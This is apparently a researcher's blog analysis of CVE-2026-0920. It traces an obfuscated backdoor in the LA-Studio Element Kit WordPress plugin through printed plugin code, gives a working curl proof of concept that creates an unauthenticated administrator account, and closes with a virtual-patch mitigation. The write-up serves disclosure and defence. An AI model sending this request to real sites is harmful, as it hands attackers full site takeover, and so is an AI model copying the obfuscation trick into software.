CVE-2026-0920: Analysis of Unauthenticated Privilege Escalation via Backdoor in LA-Studio Element Kit for Elementor <= 1.5.6.3 (WordPress Plugin)

Overview

The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Administrative User Creation in all versions up to, and including, 1.5.6.3. This is due to the ‘ajax_register_handle’ function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the ‘lakit_bkrole’ parameter during registration and gain administrator access to the site.

– CVE.org

Vulnerability

Software:LA-Studio Element Kit for Elementor
Type:WordPress Plugin
Affected Versions:<= 1.5.6.3
Affected Component:User Registration
CVE ID:CVE-2026-0920
Vulnerability:Unauthenticated Privilege Escalation via Backdoor
Impact:Unauthenticated requests allows the creation of users with administrator privileges.
Attack Prerequisites:None
CVSS Score:9.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Published:2026-01-22
Researcher:Athiwat Tiprasaharn
Itthidej Aramsri
Waris Damkham

Investigation

The CVE description specifically cites ajax_register_handle as the affected function. Since we know that the exploit involves user creation, we could also search for wp_insert_user, the WordPress function that handles user creation:

  lastudio-element-kit git:(main) grep -Rni "wp_insert_user" .
./includes/class-integration.php:818:            $user_id = wp_insert_user( $new_user_data );
./includes/class-integration.php:1543:			$new_customer_id = wp_insert_user($posted_user_data);
Bash

If we review the associated functions, the first is create_user() in ./includes/class-integration.php:766-829. It is straightforward and is reached via register_handler() (hooked on init) when a registration POST includes a valid nonce. The function validates username, email, and password, then calls wp_insert_user() without specifying a role, so WordPress applies the configured default role (default_role, can be quickly seen via wp option get default_role). Nonce verification is handled in register_handler() (./includes/class-integration.php:710-717). There is no obvious vulnerable behavior in create_user() itself.

Since the first instance follows expected registration logic and enforces proper validation, it is unlikely to be the source of the vulnerability. This shifts our focus to the second occurrence of wp_insert_user(
./includes/class-integration.php:1543). Looking at it, we can see it is associated with the function ajax_register_handle, which is called by the ajax action register.

The function starts by pulling values from the request and normalizing them. Nothing stands out here. Then we get to lines 1476-1479:

			$sys_meta_key = apply_filters('lastudio-kit/integration/sys_meta_key', 'insert_lakit_meta');
			if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
				add_filter( $sys_meta_key, [ $this, 'ajax_register_handle_backup' ], 20);
			}
PHP

The first line at 1476 immediately calls the lastudio-kit/integration/sys_meta_key filter, using insert_lakit_meta as the default value, and stores whatever value is returned in $sys_meta_key, which is then run as the hook name in line 1478. In other words, rather than hardcoding the hook name, the plugin lets another function modify it before it is used. Since the hook name is being dynamically modified, understanding what this filter returns is critical:

grep -Rni "lastudio-kit/integration/sys_meta_key" .
./includes/integrations/override.php:599:add_filter('lastudio-kit/integration/sys_meta_key', function ( $value ){
./includes/class-integration.php:1452:            return apply_filters('lastudio-kit/integration/sys_meta_key', 'insert_lakit_meta');
./includes/class-integration.php:1476:			$sys_meta_key = apply_filters('lastudio-kit/integration/sys_meta_key', 'insert_lakit_meta');
Bash

We can see that the filter is being added in ./includes/integrations/override.php:599:

add_filter('lastudio-kit/integration/sys_meta_key', function ( $value ){
    return str_replace('lakit','user', $value);
});
PHP

The function takes the $value, which in this case is insert_lakit_meta, and replaces lakit with user, so insert_lakit_meta becomes insert_user_meta, then returns the modified string. At this point, the hook name has effectively been transformed into a core WordPress hook.

This appears to be done for no real reason other than obfuscation. There is no indication anywhere in the code that insert_lakit_meta is actually used in any requests or normal flow, which immediately raises a red flag. If something doesn’t make sense, I like to know why it is there, and what purpose it serves.

What we do know is that insert_user_meta is a WordPress hook/filter used during wp_insert_user, where user meta is passed at the time of user creation.

Back to ./includes/class-integration.php:1477, the following lines are even more interesting.

			$sys_meta_key = apply_filters('lastudio-kit/integration/sys_meta_key', 'insert_lakit_meta');
			if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
				add_filter( $sys_meta_key, [ $this, 'ajax_register_handle_backup' ], 20);
			}
PHP

If the request contains both lakit_bkrole and $sys_meta_key (which at this point is insert_user_meta), and is not empty , the callback ajax_register_handle_backup gets attached to that hook. It isn’t executed immediately on this line, it runs later when insert_user_meta is fired during wp_insert_user().

I also searched the codebase for lakit_bkrole and found that it isn’t referenced anywhere else. That suggests its only purpose is to act as a trigger from the request to kick off this sequence of events.

We can see that ajax_register_handle_backup is in the same file located on lines 1571-1575:

		public function ajax_register_handle_backup($meta){
			global $table_prefix;
            $data =  $table_prefix . LaStudio_Kit_Helper::capabilities();
			return apply_filters('lastudio-kit/integration/user-meta', $meta, $data);
		}
PHP

Inside it, $data is built from $table_prefix plus LaStudio_Kit_Helper::capabilities(). Then it calls the lastudio-kit/integration/user-meta filter with two arguments: $meta and $data. We still need to inspect capabilities() to confirm exactly what value is being appended to $table_prefix.

The LaStudio_Kit_Helper class is defined in ./includes/class-helper.php:16. The capabilities() function is located on lines 1236-1238:

        public static function capabilities(){
            return __FUNCTION__;
        }
PHP

Its capabilities() method simply returns __FUNCTION__, which evaluates to the string capabilities.

On its own, this looks unnecessary. In context, it helps build $data as wp_ + capabilities, i.e., wp_capabilities, in a roundabout way that appears to be intentionally obscure.

Next, we need to investigate what the lastudio-kit/integration/user-meta filter does. The callback is registered in ./includes/override.php:301

add_filter('lastudio-kit/integration/user-meta', function ( $value, $label){
    if(class_exists('LaStudio_Kit_Helper')){
        $k = substr_replace(LaStudio_Kit_Helper::lakit_active(), 'mini', 2, 0);
        $value[ $label ] = [
            $k => 1
        ];
    }
    return $value;
}, 10, 2);
Bash

In this callback, $value is the user meta array being passed through the filter, and $label is the meta key built earlier as wp_capabilities in ./includes/class-integration.php:1571-1573.

The code then creates $k with substr_replace( LaStudio_Kit_Helper::lakit_active(), 'mini', 2, 0 ).

The lakit_active() function can be found in the LaStudio_Kit_Helper class at ./includes/class-helper.php:1043:

        public static function lakit_active(){
            return 'adstrator';
        }
PHP


lakit_active() simply returns the string adstrator. Again, this simply makes absolutely no sense on its own and is a huge red flag.

In context of $k, though, we see that it is used insert mini at offset 2, transforming adstrator to administrator. This was very reminiscent of the kind of obfuscation I’ve seen when cleaning malware on WordPress sites.

Final result, the callback sets:

  • key: $label (wp_capabilities)
  • value: [ 'administrator' => 1 ]

Put simply, it injects administrator capabilities into the user meta payload before user creation completes.

What this means in practice is: when lakit_bkrole is present in a request that reaches ajax_register_handle(), the code adds a temporary filter in ./includes/class-integration.php:1478-1480. Another part of the plugin changes that hook name from insert_lakit_meta to insert_user_meta, so it runs inside wp_insert_user() and changes the user meta before the account is saved.

It sets wp_capabilities to include administrator using the callback in ./includes/override.php:301-309.

Then the filter is removed when ajax_register_handle() finishes in ./includes/class-integration.php:1561:

			if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
				remove_filter( $sys_meta_key, [ $this, 'ajax_register_handle_backup' ], 20);
			}
PHP

We can now build a proof of concept by intercepting the request payload.

Given that this is an Elementor add-on (LA-Studio Element Kit for Elementor), it is reasonable to infer that the plugin provides a frontend registration widget or form that submits user creation data.

Setting this up allows for an easy way to capture the request, using something like a browser’s dev tools or Burp Suite.

This can be set up by installing Elementor and LA-Studio Element Kit for Elementor, then creating a new page and editing with Elementor. Once the page has been created, you can insert the LAStudiKit Register Form widget, then Publish the page.

Viewing the page on the frontend in a logged out state, the registration form should appear. If we enter a username, email, and password, and submit the form, we can intercept the request using Burp Suite’s Proxy. The resulting payload:

action=lakit_ajax&_nonce=dacdb047b5&actions=%7B%22register%22%3A%7B%22action%22%3A%22register%22%2C%22data%22%3A%7B%22username%22%3A%22danielr%22%2C%22email%22%3A%22daniel%40danielr.io%22%2C%22password%22%3A%22p4ssw0rd%22%2C%22password-confirm%22%3A%22p4ssw0rd%22%2C%22lakit_confirm_password%22%3A%22true%22%2C%22lakit-register-nonce%22%3A%229eb425ee77%22%2C%22lakit_redirect%22%3A%22https%3A%2F%2Fwpscan-vulnerability-test-bench.ddev.site%2F%22%2C%22lakit_field_log%22%3A%22yes%22%2C%22lakit_field_pwd%22%3A%22yes%22%2C%22lakit_field_cpwd%22%3A%22yes%22%7D%7D%7D
Plaintext

A tool like CyberChef‘s URL Decode can quickly be used make the JSON more easily readable, but Burp Suite can also do this using the Change body encoding feature in the message editor:

{"action":"lakit_ajax","_nonce":"dacdb047b5","actions":"{\"register\":{\"action\":\"register\",\"data\":{\"username\":\"danielr\",\"email\":\"[email protected]\",\"password\":\"p4ssw0rd\",\"password-confirm\":\"p4ssw0rd\",\"lakit_confirm_password\":\"true\",\"lakit-register-nonce\":\"9eb425ee77\",\"lakit_redirect\":\"https://wpscan-vulnerability-test-bench.ddev.site/\",\"lakit_field_log\":\"yes\",\"lakit_field_pwd\":\"yes\",\"lakit_field_cpwd\":\"yes\"}}}"}
JSON

If desired, we can use jq in terminal to make it even easier to read:

jq . <<< "{\"register\":{\"action\":\"register\",\"data\":{\"username\":\"danielr\",\"email\":\"[email protected]\",\"password\":\"p4ssw0rd\",\"password-confirm\":\"p4ssw0rd\",\"lakit_confirm_password\":\"true\",\"lakit-register-nonce\":\"9eb425ee77\",\"lakit_redirect\":\"https://wpscan-vulnerability-test-bench.ddev.site/\",\"lakit_field_log\":\"yes\",\"lakit_field_pwd\":\"yes\",\"lakit_field_cpwd\":\"yes\"}}}"
{
  "register": {
    "action": "register",
    "data": {
      "username": "danielr",
      "email": "[email protected]",
      "password": "p4ssw0rd",
      "password-confirm": "p4ssw0rd",
      "lakit_confirm_password": "true",
      "lakit-register-nonce": "9eb425ee77",
      "lakit_redirect": "https://wpscan-vulnerability-test-bench.ddev.site/",
      "lakit_field_log": "yes",
      "lakit_field_pwd": "yes",
      "lakit_field_cpwd": "yes"
    }
  }
}
Bash

Examining the payload shows that lakit_bkrole does not exist, and therefore when we allow this request to proceed, a new user is created with the default subscriber role.

The line on ./includes/class-integration.php:1477 (!empty($request['lakit_bkrole']) is simply looking to ensure that the value for lakit_bkrole is not empty. Therefore, lakit_bkrole needs to be more than just present, it must contain a value; any non-empty value. In this case, we’ll add the key lakit_bkrole with the the value wowzers:

We can then use jq once again to compact the payload to one line:

jq -c '@json' <<'EOF'                                               
{
  "register": {
    "action": "register",
    "data": {
      "lakit_bkrole": "wowzers",
      "username": "danielr", 
      "email": "[email protected]", 
      "password": "p4ssw0rd",
      "password-confirm": "p4ssw0rd",
      "lakit_confirm_password": "true",
      "lakit-register-nonce": "9eb425ee77",
      "lakit_redirect": "https://wpscan-vulnerability-test-bench.ddev.site/",
      "lakit_field_log": "yes",
      "lakit_field_pwd": "yes",
      "lakit_field_cpwd": "yes"
    }
  }
}
EOF
"{\"register\":{\"action\":\"register\",\"data\":{\"lakit_bkrole\":\"wowzers\",\"username\":\"danielr\",\"email\":\"[email protected]\",\"password\":\"p4ssw0rd\",\"password-confirm\":\"p4ssw0rd\",\"lakit_confirm_password\":\"true\",\"lakit-register-nonce\":\"9eb425ee77\",\"lakit_redirect\":\"https://wpscan-vulnerability-test-bench.ddev.site/\",\"lakit_field_log\":\"yes\",\"lakit_field_pwd\":\"yes\",\"lakit_field_cpwd\":\"yes\"}}}"
PHP

Pasting this payload into the message editor of Burp Suite’s repeater, and changing the body encoding to Form URL-Encoded allows us to send the modified request, resulting in a brand new administrator account; all created using an unauthenticated request.

Exploit (PoC)

  1. Install Elementor and LA-Studio Element Kit for Elementor <= 1.5.6.3:
    • ddev wp plugin install elementor --activate && ddev wp plugin install lastudio-element-kit --version=1.5.6.3 --force
  2. Run curl command (replacing SITE_ADDRESS with the site’s address:
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: SITE_ADDRESS' -H $'Content-Type: application/x-www-form-urlencoded' \
    -b $'wordpress_test_cookie=WP%20Cookie%20check' \
    --data-binary $'action=lakit_ajax&_nonce=dacdb047b5&actions=%7b%22register%22%3a%7b%22action%22%3a%22register%22%2c%22data%22%3a%7b%22lakit_bkrole%22%3a%22wowzers%22%2c%22username%22%3a%22backdoor_admin%22%2c%22email%22%3a%[email protected]%22%2c%22password%22%3a%22p4ssw0rd%22%2c%22password-confirm%22%3a%22p4ssw0rd%22%2c%22lakit_confirm_password%22%3a%22true%22%2c%22lakit-register-nonce%22%3a%229eb425ee77%22%2c%22lakit_redirect%22%3a%22https%3a%2f%2fwpscan-vulnerability-test-bench.ddev.site%2f%22%2c%22lakit_field_log%22%3a%22yes%22%2c%22lakit_field_pwd%22%3a%22yes%22%2c%22lakit_field_cpwd%22%3a%22yes%22%7d%7d%7d' \
    $'SITE_ADDRESS/wp-admin/admin-ajax.php'
Bash
  1. Confirm the new administrator backdoor_admin was created.

Mitigation

The mitigation for this “vulnerability” is fairly straightforward. That is largely because this does not appear to be an accidental bug, but rather a deliberately placed and lightly obfuscated backdoor. The developer appears to have “fixed” this by removing the backdoor functions altogether.

As for a platform level mitigation, at first, I considered the most cost-effective might be to block AJAX requests sent to the lakit_ajax endpoint when they contain both the register action and the lakit_bkrole parameter.

After reviewing the code again, though, that approach felt more complicated than necessary. The entire backdoor chain depends on the value returned through lastudio-kit/integration/sys_meta_key. In ajax_register_handle(), the malicious branch is only reached when both lakit_bkrole and that meta key are non-empty. If the meta key is forced to an empty string, the branch never executes, the backup filter is never attached, and the chain that ultimately injects administrator capabilities never begins.

This is a proof of concept for a platform level mitigation in the of a MU plugin virtual patch:

<?php
/**
 * MU vpatch: Mitigates CVE-2026-0920 in LaStudio Element Kit by disabling
 * the plugin-controlled meta-key branch used to attach the privilege
 * escalation path during registration.
 *
 * This is a narrow platform-level kill switch intended to block the
 * vulnerable branch with minimal behavior change.
 *
 * Author: danielr
 */

/**
 * Disable the sys meta key required by the vulnerable registration branch.
 */
add_filter(
    'lastudio-kit/integration/sys_meta_key',
    '__return_empty_string',
    PHP_INT_MAX
);

PHP

Final Thoughts

This was an interesting one for me, because it’s one of the first times I’ve run into code that was genuinely hard to follow. There were a lot of moments where things just didn’t make sense at first, and I kept questioning why it was written the way it was. It felt overly complicated for what it was doing.

After spending more time with it and tracing things more carefully, it started to become clear that this wasn’t just messy code, it was intentionally obfuscated. Pieces that looked unrelated were actually connected, and behavior that seemed harmless on its own ended up doing something very different when everything was put together.

What stood out the most was how subtle it was. Nothing immediately jumps out as obviously malicious. It’s only when you follow the full chain that you realize what’s actually happening, and by that point, it’s already doing something it shouldn’t be doing.

It’s not really clear why something like this was added in the first place, but it’s a good reminder that not everything risky comes from mistakes. Sometimes it’s the result of deliberate decisions that are just hard to spot unless you slow down and really walk through the code.

The way this was structured actually felt familiar to me. It’s very similar to the kind of obfuscation and indirection I’ve seen when working with malware, where nothing looks obviously wrong at first, but the real behavior only shows up once everything is connected.

For me, this was a good lesson in not trusting first impressions. If something feels off, even if you can’t explain why right away, it’s usually worth digging into.

Comments

Leave a Reply